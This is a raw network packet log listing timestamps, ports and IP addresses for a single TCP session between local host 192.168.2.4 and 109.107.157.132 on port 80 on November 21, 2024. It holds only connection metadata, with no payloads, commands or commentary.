Nov 21, 2024 22:33:49.167411089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.168551922 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.168596983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.468705893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.468766928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.468848944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.468889952 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.546987057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.547095060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.547130108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.547179937 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.547466993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.547524929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.625200033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.625272036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.625374079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.625762939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.625818014 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.625859022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.625905991 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.703835011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.703912973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.703915119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.703952074 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.704514027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.704559088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.704581976 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.704622984 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.705790043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.705831051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.781912088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.781975985 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.782125950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.782193899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.782207012 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.782480955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.782650948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.782665968 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.782711029 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.783854961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.783910990 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.784080029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.784136057 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.859723091 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.859802961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.859901905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.859992981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.860045910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.860079050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.860148907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.861351013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.861397982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.861480951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.861859083 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.862670898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.862720013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.862792015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.862837076 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.863982916 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.864021063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.944787025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.944840908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.971971989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.972033978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.972153902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.972194910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.972322941 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.972361088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.972455025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.972493887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.973684072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.973731995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.973819971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.973860025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.975018978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.975069046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.975116014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.975157022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.976583958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.976629972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.976702929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.976744890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.977674961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.977720976 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.977751017 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.977787018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.979021072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.979079962 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.092016935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.092058897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.092088938 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.092113972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.092849970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.092897892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.092987061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.093028069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.093682051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.093734980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.093770981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.093811035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.095051050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.095098019 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.095155001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.095202923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.096368074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.096411943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.096455097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.096498013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.097692966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.097739935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.097898006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.097942114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.099100113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.099147081 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.099227905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.099272013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.100383997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.100414038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.100425959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.100452900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.101705074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.101752996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.101821899 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.101861954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.103030920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.103080034 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.103135109 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.103177071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.199510098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.199525118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.199610949 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.199776888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.199798107 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.199826002 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.199853897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.201133013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.201180935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.201220989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.201266050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.202440023 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.202491045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.202550888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.202596903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.203782082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.203838110 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.203906059 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.203948021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.205113888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.205168009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.205207109 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.205254078 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.206476927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.206523895 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.206568956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.206621885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.207783937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.207830906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.207966089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.208010912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.209358931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.209404945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.209552050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.209597111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.210484982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.210552931 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.210642099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.210689068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.211783886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.211832047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.211867094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.211909056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.213128090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.213175058 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.213206053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.213251114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.278036118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.278099060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.278182983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.278234959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.278532028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.278574944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.278745890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.278789043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.278851986 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.278898001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.280188084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.280234098 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.280292988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.280335903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.281457901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.281503916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.281583071 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.281630993 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.282847881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.282892942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.282912970 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.282928944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.284168959 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.284214973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.284255981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.284298897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.285470963 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.285530090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.285590887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.285630941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.286920071 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.286973000 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.287113905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.287168026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.288166046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.288212061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.288305998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.288352013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.289499998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.289544106 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.289591074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.289632082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.290844917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.290888071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.318137884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.318214893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.318401098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.318444014 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.356466055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.356534958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.356719971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.356772900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.356808901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.356858015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.356914043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.356966019 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.358127117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.358175039 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.358215094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.358269930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.359477043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.359525919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.359611988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.359664917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.360814095 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.360882998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.360949039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.360996962 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.362133980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.362183094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.362298012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.362345934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.363481045 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.363528013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.363662958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.363712072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.364854097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.364902020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.364936113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.364984035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.366130114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.366178989 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.366251945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.366300106 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.367471933 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.367522001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.367610931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.367657900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.368824005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.368874073 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.368931055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.368979931 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.370079041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.370132923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.434732914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.434779882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.434833050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.434856892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.435390949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.435450077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.435518980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.435568094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.436647892 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.436696053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.437155008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.437206030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.437262058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.437309027 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.438486099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.438532114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.438595057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.438636065 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.439899921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.439954042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.440045118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.440089941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.441195965 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.441243887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.441250086 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.441288948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.442486048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.442536116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.442615986 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.442671061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.443859100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.443907976 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.443979979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.444030046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.445180893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.445230961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.445296049 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.445341110 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.446546078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.446595907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.446614981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.446655035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.447884083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.447935104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.448076963 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.448126078 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.478964090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.479043961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.513032913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.513127089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.513163090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.513238907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.513663054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.513711929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.513767958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.513813972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.515028954 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.515075922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.515142918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.515191078 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.516339064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.516393900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.516410112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.516438007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.517683029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.517730951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.517781019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.517828941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.519017935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:50.519066095 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:50.519140005 CET	80	49759	109.107.157.132	192.168.2.4
